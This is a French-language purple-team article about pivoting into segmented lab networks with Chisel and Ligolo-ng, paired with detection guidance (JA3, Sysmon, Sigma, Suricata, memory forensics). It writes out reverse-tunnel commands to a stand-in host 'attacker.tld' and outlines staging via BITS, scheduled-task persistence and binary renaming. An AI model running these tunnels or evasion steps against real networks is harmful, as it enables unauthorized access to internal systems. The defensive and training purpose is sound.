Pivoting avec Chisel et Ligolo-ng : Reseaux Segmentes en Lab de Pentest
Comment pivoter entre VLANs avec Chisel et Ligolo-ng dans un lab controle, et quels artefacts la blue team peut capturer pour detecter le tunnel inverse.
Votre shell sur la DMZ ne vaut rien si vous n'atteignez pas la VLAN 30 ou respire le controleur de domaine. Dans le lab de Basilisk OffSec nous avons monte ce scenario precis : un hote Linux expose sur 10.10.1.0/24, un segment interne 10.10.30.0/24 sous Windows 11 et un AD en 10.10.40.0/24. La seule route possible passe par cette machine pivot, et c'est la que Chisel et Ligolo-ng s'invitent comme outils complementaires. Avant d'ecrire un octet de payload, parcourez Pentest Web depuis Zero: Construire un Lab Sur avec DVWA, Juice Shop et Burp Suite pour confirmer que le lab est bien isole de votre reseau domestique par un pfSense.
Chisel resout le probleme de base : vous avez une sortie HTTP vers un C2, mais l'entree est fermee. En lancant un serveur Chisel cote attaquant (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) et le client sur le pivot (chisel client https://attacker.tld:443 R:1080:socks), vous ouvrez un SOCKS5 inverse encapsule dans TLS 443, presque toujours autorise en egress. Sur de vrais proxies Squid et Zscaler, nous mesurons moins de 8% de blocage quand le certificat porte un SAN coherent. Le motif a son propre bruit : connexions HTTP/1.1 Upgrade de longue duree, exactement ce que le fingerprinting JA3 detecte.
Ligolo-ng change la donne car il cree une interface TUN cote attaquant et route des paquets entiers, pas seulement des flux TCP via SOCKS. Vous lancez le proxy (./proxy -selfcert -laddr 0.0.0.0:11601), executez l'agent sur le pivot (./agent -connect attacker.tld:11601 -ignore-cert), puis dans le shell du proxy ifconfig + tunnel_start. Apres ca, un simple ip route add 10.10.30.0/24 dev ligolo sur Kali suffit pour lancer nmap, CrackMapExec et meme Impacket sans proxychains. Liberateur, mais la surface d'IoC grandit : ICMP, UDP et TCP traversent le pivot, ce qui correspond bien aux regles documentees dans Mouvement Lateral en Lab: SMB, WMI et WinRM avec Focus Detection.
Cote offensif, la sequence que nous utilisons est : acces initial via macro Office documente dans Initial Access Simule: Macros, LNK et ISO dans un Lab Windows 11 Isole, shell de test avec beacon Sliver (voir Construire une Infra C2 avec Sliver en Lab Isole pour la Recherche Defensive pour le setup), puis staging du binaire Ligolo via Background Intelligent Transfer Service pour eviter le telechargement direct. L'agent reside dans un dossier ecrivable comme C:\Users\Public\Downloads, persiste en tache planifiee de basse priorite. Detail critique : compiler l'agent avec -ldflags="-s -w" et le renommer svchost-helper.exe ne trompe pas un EDR moderne ; Sysmon Event ID 3 (network connect) signale le processus joignant un port inhabituel en quelques secondes si la regle est bien ecrite.
Cote defensif, et c'est la que l'exercice devient or pour la purple team, on chasse trois choses. Primo, des connexions sortantes persistantes vers 443/11601 durant plus de 30 minutes depuis des hotes qui ne font historiquement que des requetes courtes vers Microsoft 365. Secundo, des processus non signes ouvrant du TLS sans passer par Wininet ou Schannel (Ligolo embarque son propre runtime Go). Tertio, la creation d'interfaces TUN/TAP sur des endpoints Windows, evenement assez rare pour fonder une regle Sigma haute confiance. Branchez tout ca sur Threat Hunting avec Sigma et Elastic: De l'Indicateur a la Regle de Detection et vous obtenez du detection-as-code reproductible.
Les logs sont votre juge. Dans le lab nous capturons les PCAP au firewall avec Suricata en mode IDS, et l'heuristique qui attrape le mieux Ligolo combine un paquet TLS avec un handshake JA3 hors allowlist, une taille moyenne de paquet entre 1200 et 1400 octets, et un SNI absent pour le domaine cible. Chisel se cache mieux car il imite des websockets legitimes, mais il fuit via la duree de session. Pour completer l'enquete, prenez une image memoire du pivot apres incident et croisez avec Memory Forensics avec Volatility 3 : Analyser des Dumps en Lab Reproductible via le plugin netscan ; le socket reste visible meme si le processus a ete injecte.
Ethique et scope ne sont pas un addendum, ils sont le socle. Tout ceci n'a de sens que dans un lab qui vous appartient, un contrat signe ou un range autorise comme HackTheBox Pro Labs et OffSec PG Practice. Documenter les commandes exactes, les hashes de binaires et les fenetres d'execution vous protege ainsi que le client. Avant de deployer Ligolo en mission reelle, revisez votre posture personnelle avec OPSEC pour Chercheurs en Securite: Modele de Menace Personnel et separez la machine de recherche de celle du client. Prise pratique : montez le lab aujourd'hui avec trois VMs et un pfSense, deployez Chisel et Ligolo le meme jour, et passez l'autre moitie de la semaine a ecrire la regle Sigma qui vous detecte vous-meme. C'est seulement la que vous maitrisez vraiment la technique.